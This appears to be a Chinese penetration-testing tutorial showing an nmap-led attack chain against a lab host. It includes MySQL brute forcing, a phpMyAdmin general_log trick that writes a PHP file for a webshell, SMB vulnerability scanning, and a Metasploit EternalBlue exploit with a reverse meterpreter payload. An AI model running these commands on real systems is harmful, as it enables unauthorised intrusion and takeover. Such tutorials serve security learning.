nmap在渗透测试中的运用

admin

[md]Nmap 这个神器在渗透测试中是必不可少的。从信息收集到拿 shell。有时候还真少不了它！本文将要介绍 nmap 在渗透测试中，都有那些运用和测试手段。

### 一：利用 nmap 对目标进行信息收集

命令如下：

```bash
nmap -T4 -A 192.168.123.239
```

从上图我们发现，目标是一台 `windows` 系统，并且开启了常见的 `80` `445 ` `3306` 等常见的端口。

### 二：对目标站点进行扫描

命令如下：

```bash
dirb http://192.168.123.239
```

通过对目标站点分析，我们发现了一些敏感的文件目录。`phpMyAdmin` `include` 等等。
在第一步中，我们扫描到了 `3306` 端口，这也意味着目标可以远程登录数据库。

### 三：利用 nmap 暴力破解 MySQL

命令如下：

```bash
nmap -p 3306 --script=mysql-brute.nse 192.168.123.239
```

如上，通过暴力破解，我们得到了账号和密码为 `root` 和 `123456`

### 四：尝试远程登录

命令如下：

```bash
mysql -h 192.168.123.239 -u root -p
```

成功登录数据库

### 利用 phpMyAdmin 拿 shell

在前期的文章中提到过，我们先登录到 phpMyAdin
执行下面的 SQL 语句

```bash
SET GLOBAL GENERAL_log='on';
SET GLOBAL GENERAL_log_file='D:/phpstudy_pro/WWW/cmd.php';
SELECT '<?php phpinfo(); ?>';
```

**需要注意的是，一定要写对目标的站点根目录的绝对地址**
执行完成后，会在更目录生成一个 `cmd.php` 文件，我们访问效果如下：
利用此种方式，便可成功拿 shell。

### 五：利用 nmap 扫描目标主机漏洞

命令如下：

```bash
nmap -v  --script=smb-vuln-*.nse --script-args=unsafe=1 ip -Pn
```

扫描结果如下：
可以看到，目标存在 `ms17-010` `ms10-054` `CVE-2017-0143` 等漏洞。

### 六：配合 msfconsole 那些系统权限

命令如下：

```bash
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 192.168.123.66
set payload windows/x64/meterpreter/reverse_tcp
exploti
```

通过上诉示例，我们利用 nmap 从简单的信息收集到拿 shell。一次完整的渗透测试就完成了。 ::twemoji:smile::
[/md]来自圈子: kali学习